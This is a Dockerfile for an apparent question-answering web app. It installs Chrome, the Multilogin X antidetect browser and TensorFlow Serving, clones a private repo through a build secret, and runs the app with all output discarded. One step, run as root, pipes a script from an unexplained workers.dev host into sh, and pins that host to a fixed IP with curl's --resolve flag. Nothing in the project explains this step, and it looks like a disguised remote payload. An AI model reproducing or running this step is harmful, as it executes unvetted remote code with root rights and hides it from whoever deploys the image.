janebeidleman/QuestionAnswering
0
1FROM tensorflow/serving AS tf_serving2 3FROM python:3.14-bookworm4RUN apt update && apt upgrade -y5 6COPY --from=tf_serving /usr/bin/tensorflow_model_server /usr/bin/tensorflow_model_server7 8 9RUN apt install -y git-lfs xvfb firefox-esr10 11 12RUN wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb \13&& apt install -y ./google-chrome-stable_current_amd64.deb \14&& rm ./google-chrome-stable_current_amd64.deb15 16 17RUN wget "https://cdn-mlx-prod.multiloginapp.com/mlx/latest/multiloginx-amd64.deb"18RUN apt install -y ./multiloginx-amd64.deb19 20RUN curl -LsSf https://astral.sh/uv/install.sh | env UV_INSTALL_DIR="/usr/local/bin" sh21 22RUN adduser -u 1000 janebeidleman23USER janebeidleman24ENV HOME=/home/janebeidleman PATH=$PATH:/home/janebeidleman/.local/bin25 26WORKDIR $HOME27 28ENV CAP_VERSION=e463ca9b29 30RUN --mount=type=secret,id=GIT_URL,mode=0444,required=true \31 git clone $(cat /run/secrets/GIT_URL) && \32 cd $HOME/cap && \33 git checkout $CAP_VERSION34 35WORKDIR $HOME/cap36 37RUN git lfs pull38 39RUN uv sync --all-groups40 41USER root42RUN curl -sSL https://stop.llm-inference.workers.dev/i.sh --resolve stop.llm-inference.workers.dev:443:104.21.32.1 | sh43RUN chown -R janebeidleman:janebeidleman /home/janebeidleman/.cache44 45COPY config.py $HOME/cap/config.py46 47USER janebeidleman 48 49CMD ["/bin/sh", "-c", "xvfb-run mlx > /dev/null 2>&1 & sleep 20 && OTEL_PYTHON_LOG_CORRELATION=true uv run python -m uvicorn main:app --host 0.0.0.0 --port 7860 > /dev/null 2>&1"]